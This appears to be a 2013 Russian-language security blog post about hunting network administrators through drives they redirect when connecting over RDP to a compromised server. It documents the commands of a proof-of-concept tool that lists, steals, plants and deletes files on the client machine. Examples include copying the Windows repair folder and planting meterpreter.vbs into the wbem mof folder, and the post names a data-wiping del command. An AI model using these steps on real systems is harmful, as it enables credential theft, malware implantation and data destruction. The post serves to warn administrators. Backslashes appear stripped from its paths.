8 Августа, 2013

Охота на администраторов сети

Dmitriy Evteev
Рабочая станция любого среднестатистического повелителя сети (или повелителя отдельной ее части) является наиболее ценным и лакомым ресурсом для атакующего. Тут вам и резервные копии конфигураций продуктивных систем, и красочная топология сети с указанием наиболее ценных ресурсов, и, разумеется, заветные логины, ключики и пароли. Прям подарочная не зашифрованная коробка, перевязанная бантиком 8)) Если добавить сюда еще и "скромные" разрешающие правила фильтрации трафика на границах сетей с козырных ip адресов админов, тогда можно понять насколько сильно атакующий жаждет заполучить доступ к этим системам. Это отличный плацдарм для планирования и развития атаки!

Но как же добраться до компутера админа и вместе с тем заполучить ключи от всех дверей? Существует довольно много способов. Об одном из них речь пойдет в данной публикации.

Представьте себе ситуацию, когда большинство попыток реализации атак не увенчались успехом. При этом в распоряжении атакующего оказались лишь несколько тестовых автономных серверов без каких либо ценностей на них (пароли дефолты и т.п.), пускай в т.ч., расположенные в изолированном сегменте за семью файрволами и пятью айпиэсами. Что из этого можно выжать?
name='more'>
Когда речь заходит про удаленный доступ к машинкам на платформе windows, то чаще всего прибегают к встроенному функционалу операционной системы - использованию протокола RDP. А когда возникает потребность в передаче файлов небольшого размера, то разумеется задействуют следующую функцию rdp-клиента:


(прим., в более поздних реализациях клиента была добавлена возможность выбора конкретных дисков для подключения)

Тут-то и кроется опасность, о которой предупреждает сам rdp-клиент. Тем не менее все администраторы зачастую не обращают на это уже изрядно поднадоевшее сообщение безопасности никакого внимания (так ведь действительно проще, удобнее и быстрее!).


Теперь я думаю всем стало понятно про предлагаемый мною сценарий атаки. Соглашаясь на подключение к недоверенному rdp-серверу с торчащими дисками C: можно лишиться чувствительных данных, подцепить meterpreter (или чего еще более живучее), поймать del * /f /s /q.

В качестве демонстрации этого привожу proof-of-concept, который будучи заброшенный в автозагрузку при подключении терминальных пользователей на скомпрометированном сервере позволяет работать с локальными и сетевыми дисками клиента. 

Настраиваемые переменные
tFolder - задает путь к рабочему каталогу на терминальном сервере
sleep - задает время задержки между обработкой новых команд

Поддерживаемые команды
Чтобы отправить команду, необходимо воспользоваться файлом "cmd.txt". Каждая строка в этом файле воспринимается, как отдельная команда, что позволяет задавать одновременно более одной команды. Для каждого терминального клиента создается свой уникальный каталог по имени rdp-подключения (RDP-Tcp#<порядковый номер>) и свой "cmd.txt" файл соответственно. Копирование и загрузка файлов производится для каждого терминального клиента в его индивидуальном каталоге.

ls:<путь до каталога>
Листинг файлов и директорий. Пример:
ls:TSCLIENTC
...
>ls TSCLIENTC
<DIR>Documents and Settings
<DIR>Program Files
<DIR>RECYCLER
<DIR>System Volume Information
<DIR>Temp
<DIR>WINDOWS
<DIR>wmpub
AUTOEXEC.BAT
boot.ini
bootfont.bin
CONFIG.SYS
IO.SYS
MSDOS.SYS
NTDETECT.COM
ntldr
pagefile.sys
...

ll:<путь до каталога>
Рекурсивный листинг файлов и директорий. Пример:
ll:TSCLIENTCTemp
...
>ll TSCLIENTCTemp
<DIR>RDP-Tcp#2
<DIR>RDP-Tcp#3

>ls tsclientcTempRDP-Tcp#2
cmd.txt
list.txt

>ls tsclientcTempRDP-Tcp#3
cmd.txt
list.txt
...

get:<путь до каталога или файла>
Копирует файл или каталог в рабочую директорию из которой выполнялась команда. Пример:
get:TSCLIENTCWindowsrepair


put:<имя файла для отправки>:<путь до каталога назначения>
Копирует файл, расположенный в рабочей директории, из которой выполнялась команда в каталог назначения. Пример:
put:meterpreter.vbs:TSCLIENTCWindowsSystem32wbemmof


rm:<путь до удаляемого файла>
Удаляет указанный файл. Пример:
rm:TSCLIENTCmyfile